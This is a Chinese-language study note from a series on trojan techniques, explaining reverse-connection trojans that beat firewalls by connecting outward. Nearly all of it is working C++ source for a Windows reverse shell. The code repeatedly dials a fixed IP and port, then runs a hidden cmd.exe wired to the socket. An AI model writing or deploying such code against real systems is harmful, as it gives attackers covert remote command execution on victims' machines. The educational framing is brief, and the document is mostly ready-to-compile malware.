木马控制技术（一） 反弹木马

此为《木马技术揭秘与防御》系列读书笔记

---

原理比较简单：

“堡垒总是从内部被突破的”，在服务端运行木马，自动连接到指定ip、port的客户端

防火墙对内部发起的连接请求无条件信任，绕过ip包过滤规则

---

#include <iostream>
#include <WINSOCK2.H>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"user32.lib")

using namespace std;
int main()
{
    WSAData wsaData;
    SOCKET socket;
    SOCKADDR_IN sockadd_in;

    WSAStartup(MAKEWORD(1,1),&wsaData);
    socket = WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

    char ip[] = "192.168.199.1\x00";
    unsigned short port = 999;
    
    sockadd_in.sin_addr.s_addr = inet_addr(ip);
    sockadd_in.sin_family  = AF_INET;
    sockadd_in.sin_port = htons(port);

    while(connect(socket,(struct sockaddr*)&sockadd_in,sizeof(sockadd_in))){
        Sleep(30000);
    }

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    memset(&si,0,sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (void*)socket;
    if(!CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,0,NULL,&si,&pi)){
        cout<<"failed"<<endl;
        //998:ERROR_NOACCESS 
        cout<<GetLastError()<<endl;
    }

    return 0;
}